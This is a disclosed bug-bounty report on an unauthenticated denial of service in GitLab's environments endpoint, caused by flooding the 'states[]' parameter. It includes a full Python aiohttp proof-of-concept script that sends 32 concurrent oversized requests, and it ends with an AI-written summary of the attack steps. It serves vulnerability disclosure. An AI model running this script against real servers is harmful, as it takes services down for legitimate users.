Unauthenticated Denial of Service Vulnerability via "States" Parameter Flooding in a Public Project Environments endpoint
The environments endpoint accepts a POST request with a large number of 'states' parameters, causing the server to allocate an array and convert each to a string, leading to high memory and CPU usage. An unauthenticated attacker could send many such requests to exhaust server resources and take down the GitLab instance.
GitLab
Originally disclosed on GitLab
- Fixed in 6 months
- Disclosed after 6 months
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #2936007 by sim4n6 on 2025-01-13, assigned to @ameyadarshan:
Report | Attachments | How To Reproduce
Report
Summary
A Denial of Service (DoS) vulnerability has been identified in the Gitlab instance latest release v17.7.1-ee. This vulnerability allows an attacker to disrupt the availability of the service without requiring authentication. The concept relies on sending a custom payload via a serie of POST requests to an endpoint expecting a GET request. The Gitlab instance ingest the incoming payload and perform a costly operation from the memory and CPU stand point.
Description
The vulnerable code is located at app/finders/environments/environments_finder.rb · L79 · master · GitLab.org / GitLab · GitLab
states = Array(params[:states]).map(&:to_s)
The parameter states was expected to be carried via a GET request to an endpoint /namespace_id/project_id/-/environments.json and carry at maximum the string values of kind: stopped, available, stopping, etc. In case, an input flooding attack is carried via the GET request, the application would respond with 414 Request-URI Too Large status code.
However, if I convert the GET request to a POST request with a malicious body as:
_method=GET&method=GET&nested=true&states[]=S_1&states[]=S_2&states[]=S_3& ... &states[]=S_1000000
Such payload would be carried with a single POST request.
Knowing that, we can not control the server-side management of which worker/thread handles the incoming request. I figured that it was possible to take down the whole Gitlab instance via 32 POST requests sent asynchronously for the following default configuration:
$ grep -E "^(workers|threads)" /var/opt/gitlab/gitlab-rails/etc/puma.rb
threads 4, 4
workers 8
Puma can support ingesting 08 workers * 04 threads number of requests (32) while keeping the connection alive with the header Connection: keep-alive active. So in sum, if the attacker is able to send, say 30 MB payload, in a single POST request, puma can ingest 32 requests simultaneously with no problem. That's a huge flooding payload.
The issue gets worse since the endpoint /namespace_id/project_id/-/environments.json can be hit with an unauthenticated request if the project is public.
The vulnerable code converts the whole values of states into an array, which can lead to significant memory consumption. It also applies a conversion to a string per state, which can cause high CPU usage.
Steps to reproduce
To use the following proof of concept you need to update a couple of values.
- Update
urlvariable with anamespace_idandproject_idof a public project. In the poc, I use a public project namedtestprojectin therootnamespace. The project would need to have at least someenvironmentsvariables set (did not tested without). You can add new environement variable via http://gitlab.example.com/root/testproject/-/environments - I have used valid
X-CSRF-Tokenheader andCookies. But then I modified the_gitlab_sessionvalue to54b18725fa7af20db031a49e9b6224bf___ANYTHINGto confirm the unauthenticated nature of the request. - The
N_SESSIONScorresponds to the number of puma workers, by default, it is 08. - The
REQUESTS_PER_SESSIONandtotal_chunkshas the value of the puma's threads of 04 (by default). - In the poc, I generate unique strings to worsen the impact on the availability metric via
generate_unique_strings()function. The resulting payload is sent asynchronously usingaiohttpwhich can be installed viapip install aiohttp.
The proof of concept :
import asyncio
import aiohttp
from aiohttp.client_exceptions import ServerDisconnectedError
import itertools
import string
import sys
import logging
logging.basicConfig(level=logging.DEBUG)
url = "http://gitlab.example.com/root/testproject/-/environments.json"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0",
"Accept": "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
"Accept-Language": "fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Encoding": "gzip",
"Referer": "http://gitlab.example.com/root/testproject/-/environments",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"X-CSRF-Token": "<redacted>",
"X-Requested-With": "XMLHttpRequest",
"Connection": "keep-alive",
"Cookie": "<redacted",
}
def generate_unique_strings(max_length_of_state, max_nbr_of_states):
"""
Generates up to max_nbr_of_states unique strings
by combining letters, digits, and underscores, up to the given length.
"""
chars = string.ascii_letters + string.digits + "_"
scopes = []
i = 0
for length in range(1, max_length_of_state + 1):
for p in itertools.product(chars, repeat=length):
if i >= max_nbr_of_states:
break
scopes.append("".join(p))
i += 1
if i >= max_nbr_of_states:
break
return scopes
async def send_request(session, url, headers, scopes):
"""
Sends one POST request to the target URL with the given scopes as states[].
"""
data = (
"_method=GET"
+ "&method=GET"
+ "&nested=true"
+ "states[]="
+ "&states[]=".join(scopes)
)
size_in_bytes = len(data.encode("utf-8"))
size_in_kb = size_in_bytes / 1024
size_in_mb = size_in_kb / 1024
print(
f"Body size: {size_in_mb:.2f} MB for a single request."
)
try:
async with session.post(url, headers=headers, data=data) as response:
await response.read()
if response.status == 200:
print("Response 200 OK received.")
else:
print(f"Response received with status code: {response.status}")
except ServerDisconnectedError:
print("Error: The server disconnected while processing the request 🎉")
async def main(scopes):
"""
We want to send a total of 32 requests:
- 8 sessions
- each session runs 4 requests (in parallel)
But we also want to divide *all scopes* into exactly 4 chunks.
So each request in a session will be responsible for 1 of those 4 chunks.
"""
# Number of sessions
N_SESSIONS = 8
# Number of requests (threads) per session
REQUESTS_PER_SESSION = 4 # i.e., 4 chunks
# 1) Divide all scopes into 4 chunks (chunks).
total_chunks = 4
chunk_size = len(scopes) // total_chunks
chunks = []
for i in range(total_chunks):
start = i * chunk_size
# Last chunk takes everything left (in case of remainder)
end = (i + 1) * chunk_size if i < total_chunks - 1 else len(scopes)
chunks.append(scopes[start:end])
async def handle_session(session_idx):
"""
Each session sends 4 requests in parallel:
one request per chunk of the scopes (chunks[0], chunks[1], chunks[2], chunks[3])
"""
print(f"Starting session #{session_idx}")
async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=3600)) as session:
tasks = []
# For each of the 4 chunks, create a request
for i in range(REQUESTS_PER_SESSION):
tasks.append(send_request(session, url, headers, chunks[i]))
await asyncio.gather(*tasks)
# 2) Launch 8 sessions in parallel, each session does the same 4 requests
session_tasks = []
for s in range(N_SESSIONS):
session_tasks.append(handle_session(s))
await asyncio.gather(*session_tasks)
if __name__ == "__main__":
print("Generating data ... ", flush=True, end="")
# Example: generate small or large sets as needed
scopes = generate_unique_strings(6, 10_000_000)
print("OK", flush=True)
# Run main with all scopes
asyncio.run(main(scopes))
Impact
- High availability gitlab instance by sending a serie of unauthenticated requests.
Examples
(If the bug is project-related, please create an example project and export it using the project export feature)
any public project even empty can do the job. However I have not tested the case where there is no environment created, so I suggest validating the poc to create at least one environment variable.
(If you are using an older version of GitLab, this will also help determine whether the bug has been fixed in a more recent version)
The latest v17.7.1-ee
(If the bug can be reproduced on GitLab.com without violating the Rules of Engagement as outlined in the program policy, please provide the full path to the project.)
Did not try there, since this class of vulnerabilities may disrupt the production website.
What is the current bug behavior?
(What actually happens, include relevant screenshots, API results, or complete HTTP requests)
The gitlab instance can be taken down.
What is the expected correct behavior?
(What you should see instead, include relevant screenshots, API results, or complete HTTP requests)
The input size needs to be controlled. and the costly instruction needs to be reviewed maybe use enum type.
Relevant logs and/or screenshots
(Paste any relevant logs - please use code blocks (```) to format console output,
logs, and code as it's very hard to read otherwise.)
Two droplets of Digital ocean were used, one as the attacking machine, the other one where I set up the gitlab instance. The third window is my firefox trying to access the gitlab instance.
Output of checks
(If you are reporting a bug on GitLab.com, write: This bug happens on GitLab.com)
did not try there
Results of GitLab environment info
(For installations with omnibus-gitlab package run and paste the output of:
sudo gitlab-rake gitlab:env:info)
(For installations from source run and paste the output of:
sudo -u git -H bundle exec rake gitlab:env:info RAILS_ENV=production)
System information
System: Ubuntu 24.10
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 3.2.5
Gem Version: 3.5.23
Bundler Version:2.5.11
Rake Version: 13.0.6
Redis Version: 7.0.15
Sidekiq Version:7.2.4
Go Version: unknown
GitLab information
Version: 17.7.1-ee
Revision: 3c8f631cd0a
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 14.11
URL: http://gitlab.example.com
HTTP Clone URL: http://gitlab.example.com/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.39.0
Repository storages:
- default: unix:/var/opt/gitlab/gitaly/gitaly.socket
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Gitaly
- default Address: unix:/var/opt/gitlab/gitaly/gitaly.socket
- default Version: 17.7.1
- default Git Version: 2.47.0
Impact
- High availability gitlab instance by sending a serie of unauthenticated requests as mentioned previously.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An unauthenticated attacker could cause a denial of service, making the GitLab instance unavailable to legitimate users.
What the attacker needed
Public project with at least one environment; no authentication required
The fix
The input size should be controlled and the costly operation reviewed, possibly using an enum type.
How it was found
- Identify a public project with at least one environment variable set.
- Craft a POST request to the environments.json endpoint with a body containing many 'states[]' parameters and '_method=GET' to override the HTTP method.
- Send multiple such requests asynchronously to match the number of Puma workers and threads (e.g., 32 requests).
- Observe the server becoming unresponsive due to resource exhaustion.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A denial-of-service (DoS) attack makes a website or service unavailable by overwhelming it with too many requests or too much data. Here, the attacker sends a single request containing a huge list of 'states' values, which the server tries to process all at once, using up memory and CPU. By sending many such requests at the same time, the attacker can exhaust the server's capacity and prevent legitimate users from accessing the site.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.